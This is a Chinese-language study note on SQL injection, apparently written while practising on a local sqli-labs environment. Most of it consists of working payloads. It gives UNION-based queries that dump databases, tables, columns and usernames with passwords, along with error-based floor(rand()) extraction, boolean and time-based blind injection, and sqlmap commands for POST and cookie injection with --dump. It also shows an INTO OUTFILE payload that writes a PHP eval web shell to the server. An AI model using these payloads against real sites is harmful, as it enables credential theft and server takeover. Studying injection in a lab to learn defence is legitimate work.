基础sql总结

我与世界相遇,我自与世界相蚀,我自不辱使命,使我与众生相聚。

摘要:总结一些基础的sql语句。

SQL注入原理

  它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

SQL注入分类

  sql注入分类主要还是分为数字型注入和字符型注入。至于说的post注入,cookie注入,http头注入,盲注···个人觉得都是可以分开囊括在里面的,只是这些是根据注入字段在的位置进行的命名。

下面就讲一些学到现在我见过的的注入分类吧。

  • GET注入
  • POST注入
  • http头注入
  • cookie注入
  • 报错的注入
  • 布尔盲注
  • 基于时间的盲注

注入基本操作 (GET注入为例)

第一步:判断是否存在注入

GET注入一般看源代码就可以看到。形如:$_GET[“ID”] ID就是参数

以id为例:

1) url ? id=1 返回正常

2) url ? id=1’ 出错,页面异常

3) url ? id=1 and 1=1 返回正常

4) url ? id=1 and 1=2 返回错误

以上步骤满足,可能存在SQL注入漏洞

总结:

出现过的SQL语句总结:

(不构造那种双闭合语句,一定记得注释 –+ 或者 #)
1)select * from table where id = 'input'   

2) select * from table where id = ('input')  

3) select * from table where id = ("input")   

4) select * from table where id = (input)     

第二步: 找到注入点,进行基础的sql语句尝试:

(以下是用GET注入为例的)

第一步:用 order by 来爆字段数,如果没有反应,则在后面加–+或者/*或者#注释掉后面的内容

http://127.0.0.1/sqli/sqli-labs-master/Less-1/?id=1')) order by 5 --+

第二步:显示错误位,and 1=2 union select 1,2,3,4,5,6,…..(这一步一定记得前面必须输入错误的,才能爆出敏感信息)

http://127.0.0.1/sqli/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+

爆库:select SCHEMA_NAME from information_schema.SCHEMATA limit 5,1

第三步:显示版本,当前用户,数据库路径,

1) and 1=2 union select 1,2,group_concat(version(),0x3a,user(),0x3a,@@datadir),4    

2)  and 1=2 union select 1,2,database()  

第四步:爆表

and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()  --+  

第五步:爆列

and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name= '表名的hex' ('users')--+  

第六步: 爆字段

and 1=2 union select 1,2,group_concat(username,0x3a,password) from 表名 (不用单引号)--+  

POST注入

解决方式:burpsuite + sqlmap
最简单的比如:前端验证, 直接绕过即可

这里详细讲述一下利用sqlmap解决的办法:

1)抓包,最后一行就是参数值

sqlmap -u "url" --data "参数(就是最后一行)" --risk=3 --level=5 --dbs  

2)将抓包得到的post请求复制为txt

注意:在kali里面新建文件夹后使用vim

vim使用方法:   vim 1.txt 回车 粘贴内容  esc键:wq 回车  

运行sqlmap并使用如下命令( 括号里面可以不写 ):

./sqlmap -r search-1.txt (-p 参数)     

或者:

sqlmap -r "1.txt" -p "参数" --dbs

这里参数 -r 是让sqlmap加载我们的post请求1.txt,而-p 应该比较熟悉,指定注入用的参数(如果没写,就会自己检测的)

3)自动搜索表单

sqlmap -u url  --forms

HTTP头注入

基本上http头都有可能出现能注入的地方。推荐阅读这个链接
http头注入

cookie注入

cookie注入,这里主要讲解一下利用sqlmap,因为手工的cookie注入,现在我还没遇到,遇到之后在做补充。

基本用法:

  这里要进行cookie注入,就要先注册,然后F12 就出现一个cookies 就可以进行cookie注入

相关语句

网上的相关资源

命令1跑表

sqlmap -u "url" --cookie "参数" --table --level 2

命令2字段

sqlmap -u "URL" --cookie "参数" --columns -T 表段 --level 2

命令3跑密码

sqlmap -u "url" --cookie "参数" --dump -T 表段 -C “字段,字段” --level 2

报错的注入

步骤

1)猜测注入语句,不再赘述.

2)语句测试,当使用 1’union selcet 1,2,3 –+ 返回还是正常页面,因此我们要利用报错信息

3)

1′ and ( select 1 from (select count(),concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))name from information_schema.tables group by name)b)–+  

含义:取名concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))为name,count()name的个数,这时候会报错,从而爆出database()的值,’~’的用途在于方便识别。

整个语句分析:

整体相当于select 1 from b;

其中b = select count(),concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))name from information_schema.tables group by name ,count()name的个数;

name=concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))

4) 进行注入

语句构造:

1′and (select 1 from (select count(),(concat(“~”,(select 报错语句),”~”,floor(rand()2)))name from information_schema.tables group by name)b)

解释语句
floor() 是取整数 rand()在0和1之间产生一个随机数
rand(0)*2 将取0到2的随机数 floor(rand()*2)有两条记录就会报错 
floor(rand(0)*2) 记录需为3条以上,且3条以上必报错,返回的值是有规律的
count(*) 是用来统计结果的,相当于刷新一次结果 
group by 在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count(*)加1 在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次

个人常用的基于错误的语句

1./*爆表库*/(select 1 from (select count(*),(concat(“~”,(select table_name from information_schema.tables where table_schema=database() limit 0,1),”~”,floor(rand()*2)))name from information_schema.tables group by name)b) /*爆表库*/
2./*爆当前(select 1 from (select count(*),(concat(“~”,current_user,”~”,floor(rand()*2)))name from information_schema.tables group by name)b) /*爆当前用户名*/
3./*爆所有用户名*/(select 1 from (select count(*),(concat(“~”,(select username from users limit 0,1),”~”,floor(rand()*2)))name from information_schema.tables group by name)b) /*爆所有用户名*/

布尔盲注

1)布尔盲注出现的情况

当出现无论输入任何语句页面只有两种情况的时候,即只存在正确页面和错误页面时,而不显示报错信息,这样我们就需要进行布尔盲注。通过猜测目标字符串字符的ascii码来确定字符,但该过程非常繁琐,自动化工具更方便一些。

2)语句构造

1’ and (ascii(substr(database(),1,1)))>100 –+

返回正确页面说明该范围正确,返回错误页面相当于范围不正确,最后用等号确定。

基于时间的盲注

1)基于时间的盲注出现的情况

这种情况下就是所有语句下页面只存在正确的一种,这样就用到了基于时间的盲注,原理是如果正确就执行sleep()函数,使程序挂起,这样我们就可以知道语句正确还是错误了。一般使用sleep(5),使程序挂起5秒钟。

2)语句构造

1′ and (select if (ascii(substr(database(),1,1))>100,sleep(5),NULL)) –+

数据库名称第一个字符的ascii码是否大于100,正确则产生5s的延迟,错误则返回空。通过这样database()可用查询信息替换,以此来爆出表名列名数据等等。

也有benchmark()延时注入,与sleep用法相似。

其他

一句话提权等

直接写一句话(要知道物理路径) ,连接菜刀

and 1=2 union select 1,2,'<?php @eval($_post["mima"]) ?>',4 into outfile 'D:\\xampp\\www\\test.php'  --+ 
记住一定要用两个反斜杠,用一个的话可能会出现转义

中间插入

如果强行要在1,**,3中插入 语句这样构造:
爆表:

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='database'  --+    

一些语句的解释

1.group_concat的意思是全部列出来

2.version()——MySQL版本

3.concat(str1,str2…)——没有分隔符地连接字符串

4.concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串

5.group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据

6.0x3a是”:”的十六进制,在这里把它作为分隔符